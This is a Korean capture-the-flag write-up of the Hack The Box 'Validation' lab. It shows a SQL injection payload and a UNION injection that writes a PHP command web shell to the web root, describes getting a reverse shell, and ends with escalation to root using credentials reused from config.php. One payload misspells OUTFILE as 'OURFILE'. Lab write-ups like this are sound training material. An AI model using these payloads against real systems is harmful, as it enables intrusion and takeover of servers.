HTB-Validation Write up

HTB-Validation Write up

in

오랜만에 Easy머신 다운 쉬운 머신이였다.

Port Scan

image nmap 결과


SQL injection

웹 포트 접속시 회원 등록 화면이 나오고 Join Now 버튼 클릭 시 계정명과 나라가 등록되는것을 확인 가능

이미지 1 회원등록 image 회원등록성공

버프로 나라명 입력칸에 SQL injection 시도 시 새로운 쿠키발급

username=sql test&country=Albania' or 1=1-- -

이미지 2 sql injection

발급받은 쿠키로 변경 후 접속 시 sql injection이 가능한것을 확인

이미지 3 sql injection

Union Sql injection 시도 시 1이 가능하고 String문자열도 가능한것을 확인

이미지 4 이미지 5 이미지 6 문자열 삽입 가능

해당 웹페이지는 php로 작성되어 있어 union sql injection을 통해 php 웹쉘 파일을 리눅스 웹 기본경로에 생성 시도

username=sql test&country=Albania' union select "<?php SYSTEM($_REQUEST['cmd']) ?>" INTO OURFILE '/var/www/html/webshell.php'-- -

이미지 7 webshell.php 파일 생성

발급받은 쿠키로 교체후 접속 시 sql 에러메시지가 나오지만 webshell.php 로 이동시 정상적으로 웹쉘이 생성된것을 확인 가능

이미지 8 이미지 9 이미지 14


Reverse Shell , Privilege Escape

웹쉘에서 bash명령어 사용 웹쉘을 입력하였지만 웹쉘이 연결되지 않음
해당 공격문을 URL 인코딩 진행 후 공격 시 정상적으로 웹권한 쉘을 획득할 수 있음

이미지 15 이미지 16 공격문 URL인코딩 이미지 17 웹쉘 권한 리버스쉘 획득

웹쉘 권한의 쉘을 획득하였으므로 root 계정으로 권한상승을 위해 탐색 중 config.php 파일 발견
해당 파일을 열어보니 유저명과 패스워드가 노출

이미지 18 config.php

su -l 명령어를 사용하여 root 계정 로그인 시 획득하였던 패스워드로 접근이 가능함

이미지 19 root 권한상승